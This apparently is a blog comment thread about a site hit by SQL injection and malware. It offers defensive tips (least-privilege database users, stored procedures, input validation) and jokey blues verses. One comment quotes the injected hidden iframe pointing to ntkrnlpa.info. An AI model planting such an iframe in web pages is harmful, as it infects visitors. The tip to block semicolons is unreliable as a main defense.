1)A website using a database should be using some server-based language like PHP, ASP, Python, Server-side Java, something like that. Don’t directly send SQL from the browser.
2)This server process will connect to the database as some database user, which is independent of OS users. This is where people get stupid. SQL has very granular permissions (“privileges” in SQL-speak) on database tables, but developers frequently have their websites connect to the database as the same user used for development, which will be a superuser (“DBA” in SQL). Create a user for your production web process to use that has only the needed privileges. You may have some tables that store data, for example, if you have user registration or use cookies. These should be separate from the tables that hold your web pages (for reasons beyond the security concerns; it would be really dumb to do it otherwise). On the latter, give your user only read, not write, privileges. In SQL, read operations are called “queries”, and the command and privilege are both called “SELECT”. Write operations are divided into INSERT, UPDATE, and DELETE, both privileges and commands, and are collectively known as “DML (Data Manipulation Language)”. Doing this would have stopped the SQL injection used here, although there are a few kinds, like DOS queries, that it may not stop.
3)Even better is to use stored procedures, if your database supports them. This means you write your data manipulation code in some language that is executed within the database as procedures or functions and give your website only the EXECUTE privileges on these procedures, not access to the underlying tables. A SQL injector knows about standard SQL commands like SELECT and CREATE; it does not know about your procedure “JumpAroundStupidly”.
4)Also validate the data before you pass it to the database. Simple trick: disallow semi-colons. Semi-colons are the command terminator in SQL and are how injectors typically interrupt your regularly-scheduled website for a special message from God-Knows-Where. How many people have semi-colons in their name or address?
This is all pretty basic, and I imagine you could find much more elaborate ideas. But I think this would suffice for the injector we’re dealing with here, and probably a lot of them. It has a couple of layers, making it harder for the dubyas(fn 1) who come to the code after you to screw it up. The commands you want to look up in your SQL manual are these:

CREATE USER or CREATE SCHEMA to create users.

GRANT and REVOKE to control privileges.

CREATE PROCEDURE, CREATE STORED PROCEDURE, or CREATE FUNCTION for stored procedures (this area is a bit less standardized).

Hope this helps.

fn. 1 As a fitting legacy for our current President, I am promoting the user of “dubya” as a generic term for moron or imbecile. Having a President with such a distinctive nickname has come in handy. It also works as a verb. e.g., “ I really dubya’d up that test”.

Yes!

Altho linking to a good overview of these types of attacks might be better than trying to explainthem here in mock-blues.

I guess what I gotta face is
It only hits databases
It musta been used to get the virus on the server
But now what’s hitting me is just plain ole’ malware.

I think Jonathan knew it too. I didn’t know for a fact it was what was used in this case, but, as I suggested, for the purpose of the client the question is moot.

Did they pull SQL on the server
or just become root?
Will they get what they deserve or
are these questions moot?

Expressions like “pull SQL” are neologistic, of course, as is the word “neologistic” (Hey, kids! Recursion!). But you can do things like that in verse; they’re fun even.

To go more straight geek for a moment, the database user a web page connects as should not have DML privileges on the tables containing the code for that page, just query (if it needs to modify those tables, you probably need to change your database design). And it all should be encapsulated in stored procedures anyway, if the database supports such. Does anybody really want the conversation to go in this direction?

Only if you take a very risk-averse view on the ‘excellence of blues’ versus ‘miniscule chance of malware infection’ trade-off. I’m firmly on the ‘excellence of blues’ side…

It’s possible the hacker used SQL injection to hack the original website, but I wouldn’t even bother speculating on that. Just stay far away from these sites and make sure you’re running the latest browsers.

I thought I had the SQL injection blues
Thought I’d got SQL’d down to my shoes
I guess what I gotta face is
It only hits databases
It must been used to get the virus on the server
But now what’s hitting me is just plain ole malware.

iframe src=”http://ntkrnlpa.info/rc/?i=1” width=1 height=1 style=”border:0”

It might be a dead letter though—ntkrnlpa.info doesn’t appear to be up and serving at the moment.

Sorry, too early in the a.m. to do this in the proper meter.